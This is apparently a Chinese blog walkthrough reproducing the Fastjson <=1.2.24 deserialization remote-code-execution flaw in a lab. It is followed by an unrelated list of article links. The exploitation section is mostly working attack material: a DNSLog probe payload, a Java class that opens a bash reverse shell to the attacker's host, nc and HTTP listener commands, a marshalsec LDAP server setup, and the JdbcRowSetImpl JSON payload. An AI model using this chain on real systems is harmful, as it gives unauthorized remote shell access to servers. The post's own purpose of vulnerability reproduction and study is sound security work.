当前位置: 首页 > news >正文

Fastjson 反序列化漏洞[1.2.24-rce]

漏洞复现环境搭建请参考

http://t.csdnimg.cn/vSaaw

kali切换jdk版本请参考

Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客

漏洞原理

Fastjson提供的com.sun.rowset.JdbcRowSetImpl类下的dataSourceName方法支持传入一个RMI/LDAP源,支持远程调用。攻击者只需要创建一个恶意指令类(写入反弹shell等恶意命令),设置RMI/LDAP服务的远程加载指向该恶意类,即可做到远程任意命令执行

漏洞版本

fastjson<=1.2.24

漏洞验证

(1)Web访问,JSON页面

(2)BP抓包,利用DNS回显验证,DNSLog Platform

(3)修改提交方式为POST,加入以下内容,放包,DNS回显则证明漏洞存在

#val的值为DNS申请的域名Content-Type:application/json{"a":{"@type":"java.net.Inet4Address","val":"q6teka.dnslog.cn"}
}

漏洞利用

(1)创建远程加载类,攻击机创建.java文件,内容如下,并进行java编译生成class文件

#执行反弹shell,注意文件名需要和class类名称创建的一样
import java.lang.Runtime;
import java.lang.Process;public class getshell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.88.128/8888 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

(2)开启攻击机HTTP服务和反弹shell端口的监听

python3 -m http.server 80
nc -lvvp 8888

(3)开启LDAP服务

#工具获取
git clone https://github.com/RandomRobbieBF/marshalsec-jar#开启LADP服务,端口6666,指定远程加载类为攻击机上的getshell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.88.128:80/#getshell 6666      

(4)回到站点,BP抓包,发送恶意数据,内容如下

Content-Type:application/json
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.88.128:6666/getshell","autoCommit":true}
}

(5)放包,getshell

http://www.lryc.cn/news/360078.html

相关文章:

  • 【面试宝藏】Go基础面试题其一
  • python如何安装pyqt4
  • 调用上传文件接口出现格式错误
  • leetcode148. 排序链表,归并法,分治的集大成之作
  • 一维时间序列信号的小波模极大值分解与重建(matlab R2018A)
  • 五分钟“手撕”栈
  • MAC也能玩转3A大作 Crossover使用指南 crossover运行战地5
  • docker私有镜像仓库的搭建及认证
  • simCSE句子向量表示(1)-使用transformers API
  • 网络运维的重要性
  • 还不会使用多线程优化代码执行效率?codefun教你在业务场景中使用CompletableFuture进行优化!
  • 数据结构-堆(带图)详解
  • React Native 之 react-native-share(分享)库 (二十三)
  • JCR一区级 | Matlab实现TCN-BiGRU-MATT时间卷积双向门控循环单元多特征分类预测
  • 游戏心理学Day01
  • 错误模块路径: ...\v4.0.30319\clr.dll,v4.0.30319 .NET 运行时中出现内部错误,进程终止,退出代码为 80131506。
  • 005 CentOS 7.9 RabbitMQ安装及配置
  • Xcode 15 libarclite 缺失问题
  • 绘画智能体分享
  • 7_2、C++程序设计进阶:数据共享
  • d2-crud-plus 使用小技巧(五)—— 搜索时间(或下拉列表)后,点击X清除按钮后返回值为null,导致异常
  • ChatGPT成知名度最高生成式AI产品,使用频率却不高
  • R19 NR移动性增强概况
  • C语言:如何写文档注释、内嵌注释、行块注释?
  • Turtle中circle用法详解
  • stack和queue(1)
  • 前端3剑客(第1篇)-初识HTML
  • 植被变化趋势线性回归以及可视化
  • 大话设计模式学习笔记
  • MiniMax公司介绍